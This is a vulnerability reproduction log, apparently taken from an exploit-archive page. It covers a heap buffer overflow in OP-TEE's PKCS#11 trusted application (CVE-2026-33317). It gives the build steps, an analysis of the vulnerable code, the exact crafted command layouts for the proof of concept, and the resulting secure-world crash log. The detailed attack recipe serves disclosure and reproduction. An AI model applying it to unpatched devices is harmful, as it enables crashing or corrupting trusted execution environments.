5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / reproduction-log.md MD
# OP-TEE PKCS#11 Heap Overflow — Environment Setup and Bug Reproduction

> Archive note, 2026-04-30: this reproduction log documents the local QEMUv8
> run captured before the public advisory was published on 2026-04-23. The
> current PoC entry point is `README.md`; official advisory metadata for
> CVE-2026-33317 lists CVSS 8.7 High, CWE-125/CWE-787, and patched versions
> as 4.11 and later.

**Vulnerability**: Heap buffer overflow in `entry_get_attribute_value()`
(`ta/pkcs11/src/object.c`) — attacker-controlled `attrs_size` causes a
template allocation that is too small to hold attribute data, leading to an
out-of-bounds write into the Secure World heap.

**Affected commit**: `06c4e95e469c9c89e9ba4a6915d1be7bb8ea6fbc`

---

## 1. Prerequisites

| Item | Required |
|------|----------|
| OS | Linux x86-64 (tested: Ubuntu 24.04) |
| CPU cores | ≥ 4 (16 used here) |
| RAM | ≥ 8 GB |
| Disk | ≥ 50 GB free |
| Tools | `git`, `make`, `python3`, `repo`, `expect` |
| Python packages | `distlib` (needed by QEMU's configure script) |

Install the OP-TEE build dependencies listed in the official docs, then:

```bash
pip install distlib          # required by QEMU configure under some Python envs
```

---

## 2. Create the workspace

```bash
mkdir -p ~/optee-build
cd ~/optee-build
```

---

## 3. Initialize the repo manifest

OP-TEE uses Google's `repo` tool to manage multiple sub-repositories. The
`qemu_v8` manifest targets an AArch64 QEMU platform with the full software
stack: TF-A, OP-TEE OS, Linux kernel, and a Buildroot rootfs.

```bash
repo init -u https://github.com/OP-TEE/manifest.git \
          -m qemu_v8.xml \
          --no-clone-bundle
```

This pins the manifest to `qemu_v8.xml` (plus `common.xml`), which selects the
following repositories:

| Path | Repository | Revision |
|------|-----------|----------|
| `build` | OP-TEE/build | master |
| `optee_os` | OP-TEE/optee_os | master |
| `optee_client` | OP-TEE/optee_client | master |
| `optee_test` | OP-TEE/optee_test | master |
| `linux` | linaro-swg/linux | optee |
| `buildroot` | buildroot/buildroot | 2025.05 |
| `qemu` | qemu/qemu | v10.0.0 |
| `trusted-firmware-a` | TrustedFirmware-A/tfa | v2.14.0 |
| `mbedtls` | Mbed-TLS/mbedtls | mbedtls-3.6.5 |
| `u-boot` | u-boot/u-boot | v2025.07 |

---

## 4. Sync all repositories

```bash
repo sync -j8 --no-clone-bundle
```

All sub-repositories are cloned into `~/optee-build/`. The build Makefile is
accessed via a symlink: `build/qemu_v8.mk` → `build/Makefile`.

---

## 5. Download cross-compilation toolchains

```bash
cd build
make toolchains -j$(nproc)
```

This downloads and unpacks:

- `toolchains/aarch64/` — AArch64 Linux GCC (normal world: kernel, user programs)
- `toolchains/aarch32/` — ARM32 GCC (32-bit Trusted Applications)
- `toolchains/rust/` — Rust toolchain

---

## 6. Build all components

```bash
make all -j$(nproc) 2>&1 | tee /tmp/optee-build.log
```

The build proceeds through all components in dependency order:

| Component | Key output |
|-----------|-----------|
| OP-TEE OS | `optee_os/out/arm/core/tee.bin` + PKCS#11 TA binary |
| TF-A | `trusted-firmware-a/build/qemu/release/bl{1,2,31}.bin` |
| QEMU | `qemu/build/qemu-system-aarch64` |
| Linux | `linux/arch/arm64/boot/Image` |
| Buildroot | `out-br/images/rootfs.cpio.gz` (~21 MB) |

The platform (`OPTEE_OS_PLATFORM = vexpress-qemu_armv8a`) is configured with
`CFG_PKCS11_TA=y` which builds the PKCS#11 Trusted Application into the image.

Staged boot artifacts land in `out/bin/`:

```
bl1.bin  bl2.bin  bl31.bin  bl32.bin  bl32_extra1.bin  bl32_extra2.bin
bl33.bin  Image  rootfs.cpio.gz
```

---

## 7. Verify the baseline environment

Run the full PKCS#11 test suite to confirm the environment is working and the
TA is functional:

```bash
make check XTEST_ARGS="-t pkcs11" TIMEOUT=600 DUMP_LOGS_ON_ERROR=y
```

This boots QEMU, logs in as root, runs `xtest -t pkcs11`, and parses results:

```
Status: PASS (321 test cases)
```

321 PKCS#11 test cases pass, confirming a good baseline.

---

## 8. Understanding the vulnerability

### Affected function

`entry_get_attribute_value()` in `ta/pkcs11/src/object.c` handles the
PKCS#11 `C_GetAttributeValue` command. It allocates a template buffer to hold
the caller's attribute request:

```c
// serializer.c — alloc_and_get()
ptr = TEE_Malloc(sizeof(pkcs11_object_head) + attrs_size, TEE_MALLOC_FILL_ZERO);
//                ^-- 8 bytes header             ^-- attacker-controlled
```

When `attrs_size = 8` (one `pkcs11_attribute_head`, zero data bytes), the
allocation is exactly 16 bytes.

### The overflow

The loop body computes a pointer to the attribute's data area:

```c
// object.c:828-866
cur = (char *)template + sizeof(struct pkcs11_object_head);  // = template + 8
end = cur + template->attrs_size;                            // = template + 16

// Inside the loop:
struct pkcs11_attribute_head *cli_ref = (void *)cur;         // at template + 8
// cli_ref occupies template[8..15] — last 8 bytes of allocation
data_ptr = cli_head.size ? cli_ref->data : NULL;
//                         cli_ref->data = cur + 8 = template + 16 = end
//                                         ^-- one byte PAST the allocation
```

`cli_ref->data` points immediately past the 16-byte allocation. This pointer
is passed to `get_attribute()`:

### The bypassed size guard

`get_attribute()` in `ta/pkcs11/src/attributes.c` checks whether the
destination buffer is large enough before writing:

```c
// attributes.c:179-186
if (attr_size && *attr_size < size) {   // bypassed: attacker sets size >= actual
    *attr_size = size;
    return PKCS11_CKR_BUFFER_TOO_SMALL;
}
if (attr)
    TEE_MemMove(attr, attr_ptr, size);  // HEAP OVERFLOW — writes 'size' bytes OOB
```

The attacker sets `cli_head.size = 16` (≥ the actual `CKA_LABEL` length of 16).
`16 < 16` is false, so the guard is not triggered. `TEE_MemMove` writes 16 bytes
of attribute data at the out-of-bounds pointer, overflowing into adjacent
heap metadata.

### Attack primitive

| Parameter | Value | Effect |
|-----------|-------|--------|
| `attrs_size` | 8 | Allocates 16-byte template (room for header only) |
| `attrs_count` | 1 | One attribute in the loop |
| `cli_head.id` | `CKA_LABEL` | Selects a readable attribute |
| `cli_head.size` | 16 | ≥ actual label size — bypasses guard |
| OOB write offset | 0 bytes past end | Corrupts adjacent heap block header |
| OOB write size | 16 bytes | Overwrites bget `prevfree` sentinel |

---

## 9. Write the PoC (`c01_poc.c`)

The PoC uses the raw TEEC (`libteec`) API to invoke the PKCS#11 TA without any
middleware. It targets the PKCS#11 TA UUID `fd02c9da-306c-48c7-a49c-bbd827ae86ee`.

### TEEC invocation pattern

Each PKCS#11 command uses:
- **param[0]** `TEEC_MEMREF_TEMP_INOUT` — control buffer (TA reads command
  args, writes back a 4-byte return code)
- **param[2]** `TEEC_MEMREF_TEMP_OUTPUT` — response data

**Important**: For `OPEN_SESSION` and `CREATE_OBJECT`, the TA checks
`out->memref.size == sizeof(handle)` exactly. Pass `out_sz = 4`, not a larger
buffer, or the TA returns `PKCS11_CKR_ARGUMENTS_BAD (0x7)`.

### PoC sequence

1. `TEEC_InitializeContext` + `TEEC_OpenSession` — open a TEE session with the
   PKCS#11 TA.

2. `CMD_INIT_TOKEN (10)` — initialize token on slot 0:
   ```
   ctrl = [slot_id=0 (4)] [pin_len=0 (4)] [label (32)]
   ```

3. `CMD_OPEN_SESSION (6)` — open an R/W session:
   ```
   ctrl   = [slot_id=0 (4)] [flags=0x6 (4)]
   out_sz = 4  ← exactly sizeof(session_handle)
   out    → [session_handle (4)]
   ```
   Flags: `PKCS11_CKFSS_RW_SESSION (1<<1) | PKCS11_CKFSS_SERIAL_SESSION (1<<2) = 0x6`

4. `CMD_CREATE_OBJECT (15)` — create a session AES key with a 16-byte label:
   ```
   ctrl = [session_handle (4)]
          [pkcs11_object_head: attrs_size=99, attrs_count=7]
          [CKA_CLASS=0x0000, size=4, val=CKO_SECRET_KEY=4]
          [CKA_TOKEN=0x0001, size=1, val=0]
          [CKA_MODIFIABLE=0x0170, size=1, val=1]
          [CKA_KEY_TYPE=0x0100, size=4, val=CKK_AES=0x1f]
          [CKA_DECRYPT=0x0105, size=1, val=1]
          [CKA_VALUE=0x0011, size=16, val=<16-byte AES key>]
          [CKA_LABEL=0x0003, size=16, val="AAAAAAAAAAAAAAAA"]
   out_sz = 4
   out    → [obj_handle (4)]
   ```

5. `CMD_GET_ATTRIBUTE_VALUE (38)` — **malicious request** (repeat 5×):
   ```
   ctrl = [session_handle (4)]
          [obj_handle (4)]
          [pkcs11_object_head: attrs_size=8, attrs_count=1]  ← crafted
          [pkcs11_attribute_head: id=CKA_LABEL=0x0003, size=16]  ← crafted
   out_sz = 16  (= sizeof(pkcs11_object_head) + attrs_size)
   ```
   Inside the TA: template allocated at 16 bytes; data pointer lands at
   `template+16`; `TEE_MemMove` writes 16 bytes of the label there.

---

## 10. Cross-compile the PoC for AArch64

```bash
CROSS_CC="toolchains/aarch64/bin/aarch64-linux-gnu-gcc"
SYSROOT="out-br/host/aarch64-buildroot-linux-gnu/sysroot"
TEEC_INC="out-br/per-package/optee_examples_ext/host/\
aarch64-buildroot-linux-gnu/sysroot/usr/include"

"$CROSS_CC" \
    --sysroot="$SYSROOT" \
    -I"$TEEC_INC" \
    -Wall -g -O0 \
    -o out/bin/c01_poc \
    c01_poc.c \
    -lteec
```

The `TEEC_INC` path is where the Buildroot-compiled `tee_client_api.h` lives.
The binary links against `libteec.so` from the sysroot.

---

## 11. Run the PoC in QEMUv8

Share the host `out/bin/` directory into the guest over virtio-9p and run the
binary as root. The QEMU invocation:

```bash
qemu-system-aarch64 \
  -nographic \
  -smp 2 \
  -cpu max,sme=on,pauth-impdef=on \
  -d unimp \
  -semihosting-config enable=on,target=native \
  -m 1057 \
  -bios out/bin/bl1.bin \
  -initrd out/bin/rootfs.cpio.gz \
  -kernel out/bin/Image \
  -append 'console=ttyAMA0,38400 keep_bootcon root=/dev/vda2' \
  -machine virt,acpi=off,secure=on,mte=off,gic-version=3,virtualization=false \
  -object rng-random,filename=/dev/urandom,id=rng0 \
  -device virtio-rng-pci,rng=rng0,max-bytes=1024,period=1000 \
  -netdev user,id=vmnic \
  -device virtio-net-device,netdev=vmnic \
  -fsdev local,id=fsdev0,path=out/bin,security_model=none \
  -device virtio-9p-pci,fsdev=fsdev0,mount_tag=host \
  -serial mon:stdio \
  -serial file:out/bin/c01_sw.log   # secure world log on second UART
```

Inside the guest:

```bash
mkdir -p /mnt/host
mount -t 9p -o trans=virtio host /mnt/host
/mnt/host/c01_poc
```

The `run_c01.sh` + `c01_check.exp` scripts automate this via `expect`.

---

## 12. Result

### Normal world output

```
[C-01 PoC] Heap Buffer Overflow in PKCS#11 C_GetAttributeValue
[+] TEEC session with PKCS#11 TA opened
[+] INIT_TOKEN  rc=0x00000000 OK
[+] OPEN_SESSION rc=0x00000000, session_handle=0x00000001
[+] CREATE_OBJECT rc=0x00000000, obj_handle=0x00000001
[+] Object has CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes)
[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...
[+] GET_ATTRIBUTE_VALUE[0] rc=0xffffffff
[+] GET_ATTRIBUTE_VALUE[1] rc=0xffffffff
...
```

### Secure world log (`c01_sw.log`)

```
E/TA:  assertion 'BH((char *) b - b->bh.bsize)->prevfree == 0' failed at
       lib/libutils/isoc/bget.c:1022 in brel()
E/TC:? 0 TA panicked with code 0xffff0000
E/LD:  Status of TA fd02c9da-306c-48c7-a49c-bbd827ae86ee
E/LD:   arch: aarch64
E/LD:  Call stack:
E/LD:   0xc0094a9c
E/LD:   0xc00bd088
E/LD:   0xc00bd550
E/LD:   0xc0082118
E/LD:   0xc0080f3c
E/LD:   0xc009dbe0
E/LD:   0xc00935d8
D/TC:? 0 user_ta_enter:196 tee_user_ta_enter: TA panicked with code 0xffff0000
D/TC:? 0 maybe_release_ta_ctx:696 Releasing panicked TA ctx
```

### Interpretation

The PKCS#11 TA (`fd02c9da-...`) panics on the first malicious
`GET_ATTRIBUTE_VALUE` invocation. The bget assertion at
`lib/libutils/isoc/bget.c:1022` fires inside `brel()` (the heap free path):

```c
// bget.c:1022
assert(BH((char *) b - b->bh.bsize)->prevfree == 0);
```

This checks that the block immediately preceding `b` in memory does not
advertise `b` as a free block. The 16-byte OOB write from `get_attribute()`
overwrote the `bsize` or `prevfree` field of the adjacent bget block header,
corrupting the heap. On the next deallocation, the allocator detects the
inconsistency and calls `TEE_Panic(0xffff0000)`, terminating the TA.

The heap corruption happens at `object.c:872` during `get_attribute()`, when
`TEE_MemMove` writes 16 bytes of attacker-supplied `CKA_LABEL` data to the
out-of-bounds `data_ptr`.

---

## 13. Key pitfalls encountered

| Issue | Cause | Fix |
|-------|-------|-----|
| `OPEN_SESSION` returns `0x7` (`ARGUMENTS_BAD`) | `pkcs11_token.c:617` checks `out->memref.size == sizeof(session_handle)` exactly; passing a 256-byte buffer fails | Set `out_sz = 4` for `OPEN_SESSION` |
| `CREATE_OBJECT` returns `0x7` (`ARGUMENTS_BAD`) | Same exact-size check at `object.c:322` | Set `out_sz = 4` for `CREATE_OBJECT` |
| QEMU configure fails: "found no usable distlib" | QEMU's configure uses the active Python interpreter; conda env lacked `distlib` | `pip install distlib` |

---

## Files

| File | Purpose |
|------|---------|
| `c01_poc.c` | Normal World PoC source (raw TEEC, AArch64) |
| `build_poc.sh` | Cross-compilation script |
| `run_c01.sh` | QEMU launch wrapper |
| `c01_check.exp` | `expect` script: boots guest, mounts virtfs, runs PoC |
| `out/bin/c01_nw.log` | Normal world (Linux console) log |
| `out/bin/c01_sw.log` | Secure world (OP-TEE) log — contains the panic |